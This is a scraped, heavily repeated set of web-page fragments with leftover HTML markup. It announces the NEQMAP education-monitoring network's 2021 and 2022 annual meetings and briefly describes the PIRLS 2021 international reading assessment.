mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

